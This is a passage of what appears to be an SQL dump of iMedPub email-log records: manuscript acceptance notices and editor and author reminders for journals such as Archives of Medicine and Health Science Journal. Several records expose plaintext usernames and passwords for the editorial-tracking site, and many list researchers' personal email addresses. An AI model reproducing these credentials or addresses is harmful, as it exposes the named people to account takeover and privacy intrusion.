in Kasturba Hospital Wardha, Central India: A Study of 125 patients.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dodake</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neerajdodake@mgims.ac.in',3237,'2020-02-26',248),(901,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-3381</b><br />\r\n            <br />\r\n            Article Title: <b>MANIFESTACIONES ELECTROCARDIOGR&Aacute;FICAS Y TRATAMIENTO DE HIPERKALEMIA EN PACIENTE CON ENFERMEDAD RENAL CR&Oacute;NICA: A PROP&Oacute;SITO DE UN CASO.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jos&eacute; de Jes&uacute;s Boh&oacute;rquez Rivero</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-20-3381</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> manuel<br />\r\n            <b>Password:</b> ZHGFSWln<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','manuelmenendez@gmail.com',3381,'2020-02-27',274),(902,'<p>Ref.:  Ms. No. : <b>ipadm-19-2584</b><br />\r\n<br />\r\nARTICLE TITLE: <b>CARACTER&Iacute;STICAS DE MIGRA&Ntilde;A Y USO DE TERAPIAS COMPLEMENTARIAS. ENCUESTA EUROPEA TRABAJO Y MIGRA&Ntilde;A</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Vicente-Herrero</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-19-2584</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>te&oacute;fila</b><br />\r\npassword: <b>HkEJwuTK</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','mtvh@ono.com',2584,'2020-02-27',274),(905,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3390</b><br />\r\n            <br />\r\n            Article Title: <b>Seroprevalence of Toxoplasma gondii IgG and IgM antibodies and associated risks factors in Tuberculosis patients admitted at the Bamenda Regional Hospital, NW Cameroon </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>FONKENG</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','safole2000@yahoo.fr',3390,'2020-02-28',248),(906,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3261</b><br />\r\n            <br />\r\n            Article Title: <b>The comparison detection of cytokines (IL-6 and IL-12) from spleen cells and serums in Balb/c mice after immunization with killed P. multocida vaccines co-formulated with bacterial DNAs as adjuvant</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>tahamtan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yahyatahamtan@yahoo.com',3261,'2020-02-28',248),(907,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3409</b><br />\r\n            <br />\r\n            Article Title: <b>Human Serum Albumin (HSA) and its Applications as a Drug Delivery Vehicle</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',3409,'2020-02-28',48),(908,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-3074</b><br />\r\n            <br />\r\n            Article Title: <b>Efficacy of Chewing Sticks Extract On The Agent Of Dental  Carries Isolates.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Adeoti Olatunde</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-3074</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',3074,'2020-02-28',248),(909,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-3074</b><br />\r\n            <br />\r\n            Article Title: <b>Efficacy of Chewing Sticks Extract On The Agent Of Dental  Carries Isolates.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Olatunde</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','txy23m@yahoo.com',3074,'2020-02-28',248),(911,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacr-20-3371</b><br />\r\n            <br />\r\n            Article Title: <b>Intramuscular metastasis of gallbladder carcinoma.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acanceresearch.com/\" target=\"_blank\">Archives in Cancer Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>JAni</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives in Cancer Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acanceresearch.com/\">Archives in Cancer Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ctjani1494@gmail.com',3371,'2020-02-28',972),(914,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3481</b><br />\r\n            <br />\r\n            Article Title: <b>Frequency of Gastro-esophageal reflux symptoms in healthy children determined by MM GERD Questionnaire in Mexico. An exploratory study.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>JOSE IVAN RODRIGUEZ DE MOLINA SERRANO</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3481</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',3481,'2020-03-02',85),(916,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3479</b><br />\r\n            <br />\r\n            Article Title: <b>Ethics and social networking : a double-edged conception to Health Care Professionals</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>EL Daouk</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sirinedaouk@gmail.com',3479,'2020-03-02',48),(917,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3461</b><br />\r\n            <br />\r\n            Article Title: <b>A Case control study of risk factors associated with HCV infection among adults in Damietta Governorate, Egypt</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Salama</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lecturest@yahoo.com',3461,'2020-03-02',48),(923,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-2756</b><br />\r\n            <br />\r\n            Article Title: <b>Why is drug-induced ototoxicity still not preventable nor is it treatable in 2019? (A literature review of Aminoglycoside and Cisplatin ototoxicity). </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Cherrabi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cherrabi.kaoutar@gmail.com',2756,'2020-03-02',85),(927,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3481</b><br />\r\n            <br />\r\n            Article Title: <b>Frequency of Gastro-esophageal reflux symptoms in healthy children determined by MM GERD Questionnaire in Mexico. An exploratory study.</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-3481</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','lukasz.szarpak@gmail.com',3481,'2020-03-03',85),(928,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3460</b><br />\r\n            <br />\r\n            Article Title: <b>Analysis Risk Factors Incidence of Postpartum Blues in Public Health Center  of Rejang Lebong District, Bengkulu, Indonesia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sari</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ratipurnamasariab@gmail.com',3460,'2020-03-03',48),(939,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3509</b><br />\r\n            <br />\r\n            Article Title: <b>LEVEL OF PAIN AND PHYSICAL FUNCTION OF PATIENTS WITH KNEE OSTEOARTHRITIS RECEIVING PHYSIOTHERAPY WITH AND WITHOUT INTRA- ARTICULAR INJECTION IN PAKISTAN: A QUSAI EXPERIMENTAL STUDY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Subazwari</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','themedresearcher@gmail.com',3509,'2020-03-05',48),(942,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3481</b><br />\r\n            <br />\r\n            Article Title: <b>Frequency of Gastro-esophageal reflux symptoms in healthy children determined by MM GERD Questionnaire in Mexico. An exploratory study.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>RODRIGUEZ DE MOLINA SERRANO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jirdems@gmail.com',3481,'2020-03-05',85),(954,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3256</b><br />\r\n            <br />\r\n            Article Title: <b>Cortisol, testosterone and pain levels among patients undergoing McKenzie therapy and suboccipital relaxation.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Starszak</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','krzysztof.starszak@gmail.com',3256,'2020-03-09',85),(955,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-3126</b><br />\r\n            <br />\r\n            Article Title: 